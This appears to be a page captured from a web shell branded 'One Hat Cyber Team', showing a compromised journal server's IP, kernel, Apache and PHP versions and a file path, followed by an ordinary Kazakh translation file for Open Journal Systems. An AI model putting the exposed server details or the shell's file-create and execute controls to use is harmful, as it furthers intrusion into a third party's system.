One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
locale
/
kk
/
View File Name :
default.po
# Beibarys <beibarys_sultan@mail.ru>, 2022. msgid "" msgstr "" "PO-Revision-Date: 2022-02-08 03:37+0000\n" "Last-Translator: Beibarys <beibarys_sultan@mail.ru>\n" "Language-Team: Kazakh <http://translate.pkp.sfu.ca/projects/pkp-lib/default/" "kk_KZ/>\n" "Language: kk_KZ\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: Weblate 3.9.1\n" msgid "default.groups.name.siteAdmin" msgstr "Сайт администраторы" msgid "default.groups.plural.siteAdmin" msgstr "Сайт администраторлары" msgid "default.groups.name.productionEditor" msgstr "Шығарушы редактор" msgid "default.groups.plural.productionEditor" msgstr "Шығарушы редакторлар" msgid "default.groups.abbrev.productionEditor" msgstr "ШығРед" msgid "default.groups.name.copyeditor" msgstr "Әдеби редактор" msgid "default.groups.plural.copyeditor" msgstr "Әдеби редакторлар" msgid "default.groups.abbrev.copyeditor" msgstr "ӘдРед" msgid "default.groups.name.proofreader" msgstr "Түзетуші" msgid "default.groups.plural.proofreader" msgstr "Түзетушілер" msgid "default.groups.abbrev.proofreader" msgstr "Түз" msgid "default.groups.name.designer" msgstr "Дизайнер" msgid "default.groups.plural.designer" msgstr "Дизайнерлер" msgid "default.groups.abbrev.designer" msgstr "Дизайн" msgid "default.groups.name.internalReviewer" msgstr "Ішкі рецензент" msgid "default.groups.plural.internalReviewer" msgstr "Ішкі рецензенттер" msgid "default.groups.abbrev.internalReviewer" msgstr "ІшкіРец" msgid "default.groups.name.marketing" msgstr "Маркетинг және сату бойынша үйлестіруші" msgid "default.groups.plural.marketing" msgstr "Маркетинг және сату бойынша үйлестірушілер" msgid "default.groups.abbrev.marketing" msgstr "МжС" msgid "default.groups.name.funding" msgstr "Қор бойынша үйлестіруші" msgid "default.groups.plural.funding" msgstr "Қорлар бойынша үйлестірушілер" msgid "default.groups.abbrev.funding" msgstr "ҚорБҮ" msgid "default.groups.name.indexer" msgstr "Индексатор" msgid "default.groups.plural.indexer" msgstr "Индексаторлар" msgid "default.groups.abbrev.indexer" msgstr "Инд" msgid "default.groups.name.layoutEditor" msgstr "Орналасу редакторы" msgid "default.groups.plural.layoutEditor" msgstr "Орналасу редакторлары" msgid "default.groups.abbrev.layoutEditor" msgstr "ОР" msgid "default.groups.name.author" msgstr "Автор" msgid "default.groups.plural.author" msgstr "Авторлар" msgid "default.groups.abbrev.author" msgstr "Авт" msgid "default.groups.name.translator" msgstr "Аудармашы" msgid "default.groups.plural.translator" msgstr "Аудармашылар" msgid "default.groups.abbrev.translator" msgstr "Аударм" msgid "default.groups.name.reader" msgstr "Оқырман" msgid "default.groups.plural.reader" msgstr "Оқырмандар" msgid "default.groups.abbrev.reader" msgstr "Оқыр" msgid "default.genres.other" msgstr "Басқа" msgid "default.genres.multimedia" msgstr "Мультимедиа" msgid "default.genres.image" msgstr "Сурет" msgid "default.genres.styleSheet" msgstr "HTML стиль кестесі" #, fuzzy msgid "default.contextSettings.emailSignature" msgstr "" "<br/><hr /><br/><p><a href=\"{$contextUrl}\">{$contextName}</a></" "p><p>{$mailingAddress}</p><p>{$contactName}, <a href=\"mailto: " "{$contactEmail}\">{$contactEmail}</a></p>" msgid "default.submission.step.beforeYouBegin" msgstr "" msgid "default.submission.step.uploadFiles" msgstr "" msgid "default.submission.step.contributors" msgstr "" msgid "default.submission.step.details" msgstr "" msgid "default.submission.step.forTheEditors" msgstr "" msgid "default.submission.step.review" msgstr ""